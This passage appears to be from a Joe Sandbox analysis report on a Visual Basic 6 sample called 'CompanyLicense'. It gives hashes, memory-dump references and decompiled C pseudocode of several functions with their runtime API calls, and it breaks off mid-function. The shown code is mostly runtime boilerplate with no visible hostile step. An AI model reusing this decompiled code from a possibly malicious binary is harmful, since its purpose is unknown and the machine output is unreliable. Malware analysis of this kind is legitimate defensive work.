Opcode ID: 5e99369e2f4dbd95666e1e1ec8833a37c586e66ed69bc929f4ea37001b98ea52
Instruction ID: d07bf7116b9356981e2ad6d02261f4d3321e233c382c526685b216254a44abd5
Opcode Fuzzy Hash: 5e99369e2f4dbd95666e1e1ec8833a37c586e66ed69bc929f4ea37001b98ea52
Instruction Fuzzy Hash: DCB1BC71700702AFE758DF68CCA0BD9B3E5FF09310F998229EC9993641CB34A895DB90

Uniqueness

Uniqueness Score: -1.00%

Function 020A2C7B, Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cc99db7a558a3c547d0e9d59a56d790343f8136e82c1bc14edacc85c305e8f6
Instruction ID: 271974f16cd9004389f4032c52de856492dd2ad088c45bc1c773c3c743379722
Opcode Fuzzy Hash: 1cc99db7a558a3c547d0e9d59a56d790343f8136e82c1bc14edacc85c305e8f6
Instruction Fuzzy Hash: 0441B321C48AC64BC32247F45865780FBB67F12A24FC561E9EDAA07577C7626CB08BD2

Uniqueness

Uniqueness Score: -1.00%

Function 020A2C10, Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f81c0b347ddf7d66d1f895e2656c34a4080e9fb090927730c26f1cf3ec6f8a6f
Instruction ID: 8b93406e78d09c30aa03b9826edf2111fb1ca305dc4297a872637e2ff25c7486
Opcode Fuzzy Hash: f81c0b347ddf7d66d1f895e2656c34a4080e9fb090927730c26f1cf3ec6f8a6f
Instruction Fuzzy Hash: 11318170244340EFE7659FA4CC69FD9B7A1BF04710F9181A9F9499B1E2C7B4D880DE62

Uniqueness

Uniqueness Score: -1.00%

Function 020A7679, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7a8a6f6faf74c24bd568ac0e525f22e7c79819665f2a0f3a2ba3472c922950c
Instruction ID: bddf967d2b6c00b8832a65de2feb0068da7d5cd30b075a6ab3d4ed5f01df4099
Opcode Fuzzy Hash: e7a8a6f6faf74c24bd568ac0e525f22e7c79819665f2a0f3a2ba3472c922950c
Instruction Fuzzy Hash: 61E0E5712413008FC755DA4CC6F4F5AB3E6ABA9700F92C464E901CB231C730EC80EA24

Uniqueness

Uniqueness Score: -1.00%

Function 020A3CAD, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 410899e20b309485bf3370f9554471b3ec47b55d86e5f855de6a4e427a824a2a
Instruction ID: e0bd24129803a8887135fd3e7077837f0750ee546a6ee63f9c827fd2888342a4
Opcode Fuzzy Hash: 410899e20b309485bf3370f9554471b3ec47b55d86e5f855de6a4e427a824a2a
Instruction Fuzzy Hash: 73B092B6201580DFEF02CB08D881B4073A0FB19688B0804D0E802CF712D224E900CA00

Uniqueness

Uniqueness Score: -1.00%

Function 020A6F42, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe7b640eb91560de0a1d59365ec93c22a84d79ef6b93bb6c5a2c604496af8698
Instruction ID: 22e6b54d124a314dba9cdc44a6f2a1304a5903fce6cde379fbb7f3ac5e55aa25
Opcode Fuzzy Hash: fe7b640eb91560de0a1d59365ec93c22a84d79ef6b93bb6c5a2c604496af8698
Instruction Fuzzy Hash: 63B002353515448FC655CA19D1A0F8673E6BB55690FE15490E4128BA51C368ED54CA01

Uniqueness

Uniqueness Score: -1.00%

Function 020A8E25, Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7bfd68e5c081b8d57b51952ce45696539fb336343074da8183e193ab14173b8
Instruction ID: 1ec3b35e9653f1b133a7008f9c6b2377d7b5a9bc65c064a7acbf97b12dd99877
Opcode Fuzzy Hash: e7bfd68e5c081b8d57b51952ce45696539fb336343074da8183e193ab14173b8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00411266, Relevance: 27.1, APIs: 18, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00411266(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20, void* _a40) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v40;
				void* _v44;
				void* _v52;
				char _v56;
				char _v60;
				char _v76;
				intOrPtr _v84;
				intOrPtr _v92;
				void* _v96;
				signed int _v100;
				intOrPtr* _v112;
				signed int _v116;
				char* _t56;
				char* _t57;
				char* _t61;
				signed int _t65;
				char* _t67;
				void* _t91;
				void* _t93;
				intOrPtr _t94;

				_t94 = _t93 - 0xc;
				 *[fs:0x0] = _t94;
				L004012E0();
				_v16 = _t94;
				_v12 = 0x401248;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x5c,  *[fs:0x0], 0x4012e6, _t91);
				L00401412();
				L004013EE();
				_v84 = _a4;
				_v92 = 9;
				L00401412();
				_t56 =  &_v76;
				_push(_t56);
				L004013AC();
				_v96 =  ~(0 | _t56 != 0x0000ffff);
				L0040143C();
				_t57 = _v96;
				if(_t57 != 0) {
					if( *0x413010 != 0) {
						_v112 = 0x413010;
					} else {
						_push(0x413010);
						_push(0x402b8c);
						L0040142A();
						_v112 = 0x413010;
					}
					_t61 =  &_v56;
					L00401430();
					_v96 = _t61;
					_t65 =  *((intOrPtr*)( *_v96 + 0x130))(_v96,  &_v60, _t61,  *((intOrPtr*)( *((intOrPtr*)( *_v112)) + 0x308))( *_v112));
					asm("fclex");
					_v100 = _t65;
					if(_v100 >= 0) {
						_v116 = _v116 & 0x00000000;
					} else {
						_push(0x130);
						_push(0x403ac4);
						_push(_v96);
						_push(_v100);
						L0040145A();
						_v116 = _t65;
					}
					_push(0);
					_push(0);
					_push(_v60);
					_push( &_v76);
					L00401424();
					_push(1);
					_t67 =  &_v76;
					_push(_t67);
					L00401418();
					L0040141E();
					_push(_t67);
					L004013A6();
					L0040140C();
					_push( &_v60);
					_t57 =  &_v56;
					_push(_t57);
					_push(2);
					L00401406();
					L0040143C();
				}
				_push(0x41140e);
				L0040143C();
				L0040140C();
				return _t57;
			}

0x00411269
0x00411278
0x00411282
0x0041128a
0x0041128d
0x00411294
0x004112a3
0x004112ac
0x004112b7
0x004112bf
0x004112c2
0x004112cf
0x004112d4
0x004112d7
0x004112d8
0x004112e8
0x004112ef
0x004112f4
0x004112fa
0x00411307
0x00411321
0x00411309
0x00411309
0x0041130e
0x00411313
0x00411318
0x00411318
0x0041133c
0x00411340
0x00411345
0x00411354
0x0041135a
0x0041135c
0x00411363
0x0041137f
0x00411365
0x00411365
0x0041136a
0x0041136f
0x00411372
0x00411375
0x0041137a
0x0041137a
0x00411383
0x00411385
0x00411387
0x0041138d
0x0041138e
0x00411396
0x00411398
0x0041139b
0x0041139c
0x004113a6
0x004113ab
0x004113ac
0x004113b4
0x004113bc
0x004113bd
0x004113c0
0x004113c1
0x004113c3
0x004113ce
0x004113ce
0x004113d3
0x00411400
0x00411408
0x0041140d

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411282
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 004112AC
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 004112B7
__vbaVarDup.MSVBVM60 ref: 004112CF
#562.MSVBVM60(?), ref: 004112D8
__vbaFreeVar.MSVBVM60(?), ref: 004112EF
__vbaNew2.MSVBVM60(00402B8C,00413010,?), ref: 00411313
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?), ref: 00411340
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000130,?,?,?,?,?), ref: 00411375
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000,?,?,?,?,?), ref: 0041138E
__vbaStrVarMove.MSVBVM60(?,00000001,?,?,?,004012E6), ref: 0041139C
__vbaStrMove.MSVBVM60(?,00000001,?,?,?,004012E6), ref: 004113A6
#580.MSVBVM60(00000000,?,00000001,?,?,?,004012E6), ref: 004113AC
__vbaFreeStr.MSVBVM60(00000000,?,00000001,?,?,?,004012E6), ref: 004113B4
__vbaFreeObjList.MSVBVM60(00000002,?,?,00000000,?,00000001,?,?,?,004012E6), ref: 004113C3
__vbaFreeVar.MSVBVM60(00000000,?,00000001,?,?,?,004012E6), ref: 004113CE
__vbaFreeVar.MSVBVM60(0041140E,?), ref: 00411400
__vbaFreeStr.MSVBVM60(0041140E,?), ref: 00411408

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$Free$Move$#562#580CallCheckChkstkCopyHresultLateListNew2
String ID:
API String ID: 2788452748-0
Opcode ID: 3dbf35cb02a4955189acaf7678027ac11abcae840226aa9cc9c93d900ac3fc9b
Instruction ID: 6f4b6da79870560e2800a84909d0d70356a4cdb8e9f83d64f06db6890049b8a7
Opcode Fuzzy Hash: 3dbf35cb02a4955189acaf7678027ac11abcae840226aa9cc9c93d900ac3fc9b
Instruction Fuzzy Hash: 8E41FA75900208ABDB00EFE1C895FDDBBB8AF08704F50412AF515BB1B5DB789946CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004118D3, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E004118D3(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8, void* _a24, void* _a60) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v40;
				void* _v56;
				intOrPtr _v60;
				char _v64;
				void* _v88;
				char _v104;
				char* _v128;
				char _v136;
				intOrPtr _v144;
				char _v152;
				short _v156;
				short _t40;
				short _t41;
				void* _t58;
				void* _t60;
				intOrPtr _t61;

				_t61 = _t60 - 0xc;
				 *[fs:0x0] = _t61;
				L004012E0();
				_v16 = _t61;
				_v12 = 0x4012a8;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012e6, _t58);
				L00401412();
				L00401412();
				L00401412();
				L004013EE();
				_v128 =  &_v64;
				_v136 = 0x4008;
				_push(1);
				_push( &_v136);
				_push( &_v104);
				L0040138E();
				_v144 = 0x403c14;
				_v152 = 0x8008;
				_push( &_v104);
				_t40 =  &_v152;
				_push(_t40);
				L00401394();
				_v156 = _t40;
				L0040143C();
				_t41 = _v156;
				if(_t41 != 0) {
					_push(0x98);
					L00401388();
					_v60 = _t41;
				}
				_push(0x4119eb);
				L0040143C();
				L0040143C();
				L0040140C();
				L0040143C();
				return _t41;
			}

0x004118d6
0x004118e5
0x004118f1
0x004118f9
0x004118fc
0x00411903
0x00411912
0x0041191b
0x00411926
0x00411931
0x0041193e
0x00411946
0x00411949
0x00411953
0x0041195b
0x0041195f
0x00411960
0x00411965
0x0041196f
0x0041197c
0x0041197d
0x00411983
0x00411984
0x00411989
0x00411993
0x00411998
0x004119a1
0x004119a3
0x004119a8
0x004119ad
0x004119ad
0x004119b0
0x004119cd
0x004119d5
0x004119dd
0x004119e5
0x004119ea

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004118F1
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 0041191B
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00411926
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00411931
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 0041193E
#619.MSVBVM60(?,00004008,00000001), ref: 00411960
__vbaVarTstNe.MSVBVM60(?,?,?,00004008,00000001), ref: 00411984
__vbaFreeVar.MSVBVM60(?,?,?,00004008,00000001), ref: 00411993
#568.MSVBVM60(00000098,?,?,?,00004008,00000001), ref: 004119A8
__vbaFreeVar.MSVBVM60(004119EB,?,?,?,00004008,00000001), ref: 004119CD
__vbaFreeVar.MSVBVM60(004119EB,?,?,?,00004008,00000001), ref: 004119D5
__vbaFreeStr.MSVBVM60(004119EB,?,?,?,00004008,00000001), ref: 004119DD
__vbaFreeVar.MSVBVM60(004119EB,?,?,?,00004008,00000001), ref: 004119E5

Strings

ABC, xrefs: 00411936

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$Free$#568#619ChkstkCopy
String ID: ABC
API String ID: 718684173-2743272264
Opcode ID: baa47468dbc3f9b0507266712fca8a7059b0470f197b01c4a43c2c714149d7c6
Instruction ID: 289367e65df1a72699b5549ded5959713d7176c195a492a93b176dcb255d4e5a
Opcode Fuzzy Hash: baa47468dbc3f9b0507266712fca8a7059b0470f197b01c4a43c2c714149d7c6
Instruction Fuzzy Hash: DF21DB71900248AADB14EFA1C992FDDB7B8BF04704F5080BAB505B71A1EB786A49CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411005, Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00411005(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				char _v28;
				intOrPtr _v36;
				char _v44;
				char _v60;
				char _v80;
				intOrPtr* _v84;
				signed int _v88;
				char _v96;
				signed int _v100;
				char* _t41;
				intOrPtr _t48;
				char* _t49;
				char* _t52;
				signed int _t55;
				intOrPtr _t65;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t65;
				_push(0x50);
				L004012E0();
				_v12 = _t65;
				_v8 = 0x401228;
				_v36 = 0x80020004;
				_v44 = 0xa;
				_push(0);
				_push(0xffffffff);
				_push( &_v44);
				_push(0x403bdc);
				_push( &_v60);
				L004013BE();
				_t41 =  &_v60;
				_push(_t41);
				_push(0x2008);
				L004013C4();
				_v80 = _t41;
				_push( &_v80);
				_push( &_v24);
				L004013CA();
				_push( &_v60);
				_push( &_v44);
				_push(2);
				L00401400();
				_t48 =  *((intOrPtr*)(_v24 + 0xc));
				_push( *((intOrPtr*)(_t48 + (0 -  *((intOrPtr*)(_v24 + 0x14))) * 4)));
				_push(0x403be8);
				L004013B8();
				if(_t48 != 0) {
					if( *0x413744 != 0) {
						_v96 = 0x413744;
					} else {
						_push(0x413744);
						_push(0x403bc8);
						L0040142A();
						_v96 = 0x413744;
					}
					_t21 =  &_v96; // 0x413744
					_v84 =  *((intOrPtr*)( *_t21));
					_t24 =  &_v28; // 0x413744
					_t52 = _t24;
					L00401460();
					_t55 =  *((intOrPtr*)( *_v84 + 0x10))(_v84, _t52, _t52, _a4);
					asm("fclex");
					_v88 = _t55;
					if(_v88 >= 0) {
						_v100 = _v100 & 0x00000000;
					} else {
						_push(0x10);
						_push(0x403bb8);
						_push(_v84);
						_push(_v88);
						L0040145A();
						_v100 = _t55;
					}
					L0040144E();
				}
				_push(0x411149);
				_t36 =  &_v24; // 0x403be8
				_t49 = _t36;
				_push(_t49);
				_push(0);
				L004013B2();
				return _t49;
			}

0x0041100a
0x00411015
0x00411016
0x0041101d
0x00411020
0x00411028
0x0041102b
0x00411032
0x00411039
0x00411040
0x00411042
0x00411047
0x00411048
0x00411050
0x00411051
0x00411056
0x00411059
0x0041105a
0x0041105f
0x00411064
0x0041106a
0x0041106e
0x0041106f
0x00411077
0x0041107b
0x0041107c
0x0041107e
0x00411091
0x00411094
0x00411097
0x0041109c
0x004110a3
0x004110ac
0x004110c6
0x004110ae
0x004110ae
0x004110b3
0x004110b8
0x004110bd
0x004110bd
0x004110cd
0x004110d2
0x004110d8
0x004110d8
0x004110dc
0x004110ea
0x004110ed
0x004110ef
0x004110f6
0x0041110f
0x004110f8
0x004110f8
0x004110fa
0x004110ff
0x00411102
0x00411105
0x0041110a
0x0041110a
0x00411116
0x00411116
0x0041111b
0x0041113d
0x0041113d
0x00411140
0x00411141
0x00411143
0x00411148

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411020
#711.MSVBVM60(?,00403BDC,0000000A,000000FF,00000000,?,?,?,?,?,?,?,004012E6), ref: 00411051
__vbaAryVar.MSVBVM60(00002008,?,?,00403BDC,0000000A,000000FF,00000000,?,?,?,?,?,?,?,004012E6), ref: 0041105F
__vbaAryCopy.MSVBVM60(?,?,00002008,?,?,00403BDC,0000000A,000000FF,00000000), ref: 0041106F
__vbaFreeVarList.MSVBVM60(00000002,0000000A,?,?,?,00002008,?,?,00403BDC,0000000A,000000FF,00000000), ref: 0041107E
__vbaStrCmp.MSVBVM60(00403BE8,?), ref: 0041109C
__vbaNew2.MSVBVM60(00403BC8,00413744,00403BE8,?), ref: 004110B8
__vbaObjSetAddref.MSVBVM60(?,?), ref: 004110DC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403BB8,00000010), ref: 00411105
__vbaFreeObj.MSVBVM60(00000000,?,00403BB8,00000010), ref: 00411116
__vbaAryDestruct.MSVBVM60(00000000,;@,00411149,00403BE8,?), ref: 00411143

Strings

D7A, xrefs: 004110CD
D7A;@, xrefs: 004110D8, 004110DB

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$Free$#711AddrefCheckChkstkCopyDestructHresultListNew2
String ID: D7A$D7A;@
API String ID: 4246334928-2347690085
Opcode ID: 1e39192127afebf687229e71ae3fd41bb69157881493decb036d74ff224b680d
Instruction ID: 95d849ccea44ae36ec51817e5fa12a4589028856cd8040deecdf32812a235dcd
Opcode Fuzzy Hash: 1e39192127afebf687229e71ae3fd41bb69157881493decb036d74ff224b680d
Instruction Fuzzy Hash: BA310AB1900248AFDB10EFD5C846FDEBBB8EB08705F10416AF601BB1E1D778A644CB29

Uniqueness

Uniqueness Score: -1.00%

Function 004114E0, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E004114E0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v44;
				signed int _v48;
				intOrPtr* _v52;
				signed int _v56;
				intOrPtr _v68;
				char _v72;
				signed int _v76;
				signed int _t36;
				signed int _t42;
				void* _t52;
				void* _t54;
				intOrPtr _t55;

				_t55 = _t54 - 0xc;
				 *[fs:0x0] = _t55;
				L004012E0();
				_v16 = _t55;
				_v12 = 0x401268;
				_v8 = 0;
				_t36 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x34,  *[fs:0x0], 0x4012e6, _t52);
				L00401412();
				_push(0x403bf0);
				L0040139A();
				if(_t36 != 1) {
					if( *0x413744 != 0) {
						_v72 = 0x413744;
					} else {
						_push(0x413744);
						_push(0x403bc8);
						L0040142A();
						_v72 = 0x413744;
					}
					_t11 =  &_v72; // 0x413744
					_v52 =  *((intOrPtr*)( *_t11));
					_t42 =  *((intOrPtr*)( *_v52 + 0x48))(_v52, 0x6f,  &_v48);
					asm("fclex");
					_v56 = _t42;
					if(_v56 >= 0) {
						_v76 = _v76 & 0x00000000;
					} else {
						_push(0x48);
						_push(0x403bb8);
						_push(_v52);
						_push(_v56);
						L0040145A();
						_v76 = _t42;
					}
					_t36 = _v48;
					_v68 = _t36;
					_v48 = _v48 & 0x00000000;
					L0040141E();
				}
				_push(0x4115d8);
				L0040140C();
				L0040143C();
				return _t36;
			}

0x004114e3
0x004114f2
0x004114fc
0x00411504
0x00411507
0x0041150e
0x0041151d
0x00411526
0x0041152b
0x00411530
0x00411539
0x00411542
0x0041155c
0x00411544
0x00411544
0x00411549
0x0041154e
0x00411553
0x00411553
0x00411563
0x00411568
0x00411579
0x0041157c
0x0041157e
0x00411585
0x0041159e
0x00411587
0x00411587
0x00411589
0x0041158e
0x00411591
0x00411594
0x00411599
0x00411599
0x004115a2
0x004115a5
0x004115a8
0x004115b2
0x004115b2
0x004115b7
0x004115ca
0x004115d2
0x004115d7

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004114FC
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00411526
__vbaI2Str.MSVBVM60(00403BF0,?,?,?,?,004012E6), ref: 00411530
__vbaNew2.MSVBVM60(00403BC8,00413744,00403BF0,?,?,?,?,004012E6), ref: 0041154E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403BB8,00000048), ref: 00411594
__vbaStrMove.MSVBVM60(00000000,?,00403BB8,00000048), ref: 004115B2
__vbaFreeStr.MSVBVM60(004115D8,00403BF0,?,?,?,?,004012E6), ref: 004115CA
__vbaFreeVar.MSVBVM60(004115D8,00403BF0,?,?,?,?,004012E6), ref: 004115D2

Strings

D7A, xrefs: 00411563

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$Free$CheckChkstkHresultMoveNew2
String ID: D7A
API String ID: 640110359-420359484
Opcode ID: 55d7dc6462d787e5266ac19bcf9c5561194426b32831ac5cf7f5bdb3f732c4f0
Instruction ID: 9d377c2ca78d9f4a9f33710062ea304e3df86685d521879dc642ea5174df40be
Opcode Fuzzy Hash: 55d7dc6462d787e5266ac19bcf9c5561194426b32831ac5cf7f5bdb3f732c4f0
Instruction Fuzzy Hash: 0C210670940208EFCB10EF95C986BDDBBB5EF44709F10802AF505B72B1D7B86A86DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 15.1, APIs: 10, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040E654(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				intOrPtr _v68;
				char _v72;
				signed int _v76;
				signed int _v84;
				signed int _v88;
				signed int _t50;
				signed int _t62;
				void* _t67;
				void* _t74;
				intOrPtr _t76;

				_t67 = __edx;
				 *[fs:0x0] = _t76;
				L004012E0();
				_v12 = _t76;
				_v8 = E00401118;
				L00401460();
				_t50 =  *((intOrPtr*)( *_a4 + 0x58))(_a4,  &_v72,  &_v24, _a4, __edi, __esi, __ebx, 0x44,  *[fs:0x0], 0x4012e6, __ecx, __ecx, _t74);
				asm("fclex");
				_v76 = _t50;
				if(_v76 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x58);
					_push(0x4038e8);
					_push(_a4);
					_push(_v76);
					L0040145A();
					_v84 = _t50;
				}
				_v32 = _v72;
				L00401460();
				L00401454();
				_v28 = E00411D89( &_v36);
				L0040144E();
				_v32 = E00411D89(_v28) + 0x2b0;
				E00411C75(_t67, _v32, _a8);
				_v60 = 0x80020004;
				_v68 = 0xa;
				_v44 = 0x80020004;
				_v52 = 0xa;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t62 =  *((intOrPtr*)( *_a4 + 0x2b0))(_a4, 0x10, 0x10,  &_v36,  &_v36, _a4);
				asm("fclex");
				_v76 = _t62;
				if(_v76 >= 0) {
					_v88 = _v88 & 0x00000000;
				} else {
					_push(0x2b0);
					_push(0x4038e8);
					_push(_a4);
					_push(_v76);
					L0040145A();
					_v88 = _t62;
				}
				_push(0x40e797);
				L0040144E();
				return _t62;
			}

0x0040e654
0x0040e665
0x0040e66f
0x0040e677
0x0040e67a
0x0040e688
0x0040e699
0x0040e69c
0x0040e69e
0x0040e6a5
0x0040e6be
0x0040e6a7
0x0040e6a7
0x0040e6a9
0x0040e6ae
0x0040e6b1
0x0040e6b4
0x0040e6b9
0x0040e6b9
0x0040e6c5
0x0040e6cf
0x0040e6d8
0x0040e6e3
0x0040e6e9
0x0040e6fb
0x0040e704
0x0040e709
0x0040e710
0x0040e717
0x0040e71e
0x0040e728
0x0040e732
0x0040e733
0x0040e734
0x0040e735
0x0040e739
0x0040e743
0x0040e744
0x0040e745
0x0040e746
0x0040e74f
0x0040e755
0x0040e757
0x0040e75e
0x0040e77a
0x0040e760
0x0040e760
0x0040e765
0x0040e76a
0x0040e76d
0x0040e770
0x0040e775
0x0040e775
0x0040e77e
0x0040e791
0x0040e796

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0040E66F
__vbaObjSetAddref.MSVBVM60(?,?,?,?,?,?,004012E6), ref: 0040E688
__vbaHresultCheckObj.MSVBVM60(00000000,?,004038E8,00000058), ref: 0040E6B4
__vbaObjSetAddref.MSVBVM60(?,?), ref: 0040E6CF
#644.MSVBVM60(?,?,?), ref: 0040E6D8
__vbaFreeObj.MSVBVM60(00000000,?,?,?), ref: 0040E6E9
__vbaChkstk.MSVBVM60(?,?,?,00000000,?,?,?), ref: 0040E728
__vbaChkstk.MSVBVM60(?,?,?,00000000,?,?,?), ref: 0040E739
__vbaHresultCheckObj.MSVBVM60(00000000,?,004038E8,000002B0), ref: 0040E770
__vbaFreeObj.MSVBVM60(0040E797), ref: 0040E791

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$Chkstk$AddrefCheckFreeHresult$#644
String ID:
API String ID: 1032928638-0
Opcode ID: e48370e53e79ca3f5e71148f94873ef4b7ebe20669c6b30a9aa24f9bf00a22a2
Instruction ID: dfde1e0ab93940fd952a4a3673299e69c3cb242bcecef37df5d19e9809c2cde3
Opcode Fuzzy Hash: e48370e53e79ca3f5e71148f94873ef4b7ebe20669c6b30a9aa24f9bf00a22a2
Instruction Fuzzy Hash: 56413871900208EFDF01EFA1C886BDEBBB5FF04348F10442AF501BB1A1D7B999868B58

Uniqueness

Uniqueness Score: -1.00%

Function 00411796, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00411796(void* __ebx, void* __edi, void* __esi, void* _a36, signed int* _a52) {
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				short _v32;
				void* _v52;
				void* _v56;
				intOrPtr* _v60;
				signed int _v64;
				intOrPtr* _v68;
				signed int _v72;
				char _v84;
				signed int _v88;
				signed int _v92;
				signed int _t46;
				signed int _t51;
				short _t52;
				void* _t62;
				intOrPtr _t63;

				_t63 = _t62 - 0xc;
				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t63;
				_push(0x44);
				L004012E0();
				_v16 = _t63;
